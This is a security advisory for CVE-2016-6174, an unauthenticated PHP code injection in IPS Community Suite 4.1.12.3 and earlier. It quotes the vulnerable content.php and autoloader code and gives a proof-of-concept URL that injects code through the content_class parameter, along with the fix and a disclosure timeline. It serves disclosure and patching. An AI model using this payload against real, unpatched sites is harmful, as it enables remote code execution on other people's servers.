IPS Community Suite 4.1.12.3 - PHP Code Injection

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IPS Community Suite <= 4.1.12.3 Autoloaded PHP Code Injection Vulnerability

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[-] Software Link:



https://invisionpower.com/





[-] Affected Versions:



Version 4.1.12.3 and prior versions.





[-] Vulnerability Description:



The vulnerable code is located in the /applications/core/modules/front/system/content.php script:



38.	$class = 'IPS\\' . implode( '\\', explode( '_', \IPS\Request::i()->content_class ) );

39.	

40.	if ( ! class_exists( $class ) or ! in_array( 'IPS\Content', class_parents( $class ) ) )

41.	{

42.	    \IPS\Output::i()->error( 'node_error', '2S226/2', 404, '' );

43.	}



User input passed through the "content_class" request parameter is not properly sanitized before being used in a call

to the "class_exists()" function at line 40. This could be exploited by unauthenticated attackers to inject and execute

arbitrary PHP code leveraging the autoloading function defined into the /applications/cms/Application.php script:



171.	if ( mb_substr( $class, 0, 14 ) === 'IPS\cms\Fields' and is_numeric( mb_substr( $class, 14, 1 ) ) )

172.	{

173.	    $databaseId = mb_substr( $class, 14 );

174.	    eval( "namespace IPS\\cms; class Fields{$databaseId} extends Fields { public static \$customDatabaseId [...]

175.	}



Successful exploitation of this vulnerability requires the application running on PHP before version 5.4.24 or 5.5.8.





[-] Proof of Concept:



http://[host]/[ips]/index.php?app=core&module=system&controller=content&do=find&content_class=cms\Fields1{}phpinfo();/*





[-] Solution:



Update to version 4.1.13 or later.





[-] Disclosure Timeline:



[04/07/2016] - Vendor notified

[05/07/2016] - Vulnerability fixed in version 4.1.13: https://invisionpower.com/release-notes/4113-r44/

[06/07/2016] - CVE number requested

[06/07/2016] - CVE number assigned

[07/07/2016] - Public disclosure





[-] CVE Reference:



The Common Vulnerabilities and Exposures project (cve.mitre.org)

has assigned the name CVE-2016-6174 to this vulnerability.





[-] Credits:



Vulnerability discovered by Egidio Romano.





[-] Original Advisory:



http://karmainsecurity.com/KIS-2016-11